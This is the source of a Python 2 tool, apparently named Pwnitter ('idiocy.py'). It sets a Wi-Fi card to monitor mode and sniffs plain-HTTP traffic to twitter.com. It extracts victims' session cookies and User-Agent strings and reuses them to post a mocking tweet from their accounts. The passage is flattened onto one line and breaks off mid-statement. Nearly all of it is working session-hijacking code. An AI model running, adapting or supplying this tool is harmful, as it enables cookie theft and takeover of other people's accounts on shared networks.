#!/usr/bin/env python # On Linux (as root): # * apt-get install libpcap0.8 python-pypcap python-dpkt # * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up # * ./idiocy.py -i mon0 import dbus.service import dbus.mainloop.glib import getopt, sys, pcap, dpkt, re, httplib, urllib import logging import logging.config import socket import time import gobject import select import subprocess import urllib2 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.' def usage(): print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] sys.exit(1) NAME = 'de.cryptobitch.muelli.Pwnitter' class Pwnitter(dbus.service.Object): def __init__(self, bus, object_name, device='mon0', run_once_only=False): super(Pwnitter, self).__init__(bus, object_name) self.device = device self.status = status self.is_running = False self.run_once_only = run_once_only def setup_monitor(device='mon0'): # FIXME: Replace hardcoded interface cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split() subprocess.call(cmd) cmd = '/sbin/ifconfig mon0 up'.split() subprocess.call(cmd) @dbus.service.method(NAME, in_signature='', out_signature='') def Start(self, filename=None): # FIXME: Prevent double Start() if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device self.setup_monitor(device) device = self.device else: # We have given a filename, so let's make PCap read from the file device = filename self.is_running = True try: self.cap = pcap.pcap(device) except OSError, e: print "Error setting up %s" % device raise e self.cap.setfilter('dst port 80') cap_fileno = self.cap.fileno() self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) @dbus.service.method(NAME, in_signature='s', out_signature='') def StartFromFile(self, filename): return self.Start(filename=filename) def cap_readable_callback(self, source, condition, device): return self.pwn(device, self.MessageSent) @dbus.service.signal(NAME) def MessageSent(self, who): print "Emitting MessageSent" return who return False pass @dbus.service.method(NAME, in_signature='s', out_signature='') def SetMessage(self, message): self.status = message @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties in_signature='', out_signature='s') def GetMessage(self): return self.status def tear_down_monitor(self, device='mon0'): cmd = '/sbin/ifconfig mon0 down'.split() subprocess.call(cmd) cmd = '/usr/sbin/iw dev mon0 del'.split() subprocess.call(cmd) @dbus.service.method(NAME, in_signature='', out_signature='') def Stop(self): self.is_running = False print "Receive Stop" gobject.source_remove(self.source_id) self.tear_down_monitor(self.device) loop.quit() def pwn(self, device, tweeted_callback=None): log = logging.getLogger('pwn') processed = {} if self.is_running: # This is probably not needed, but I feel better checking it more than too less ts, raw = self.cap.next() eth = dpkt.ethernet.Ethernet(raw) log.debug('got a packet') # Depending on platform, we can either get fully formed packets or unclassified radio data if isinstance(eth.data, str): data = eth.data else: data = eth.data.data.data hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data) if hostMatches: host = hostMatches.group(1) log.debug('Host matched %s', host) user_agent_matches = re.search('User-Agent: ([^\n]+)', data) if user_agent_matches: user_agent = user_agent_matches.group(1) log.debug('Found UserAgent: %s', user_agent) else: user_agent = "Mozilla/5.0" cookieMatches = re.search('Cookie: ([^\n]+)', data) log.debug('CookieMatches? %r', cookieMatches) if cookieMatches: cookie = cookieMatches.group(1) log.debug('yummie Cookie %r', cookie) headers = { "User-Agent": user_agent, "Cookie": cookie, } try: page = urllib2.urlopen("https://%s/" % host).read() except socket.error, e: log.error(e) else: log.debug('Connected to host %s', host) #log.debug("%s", page) if '''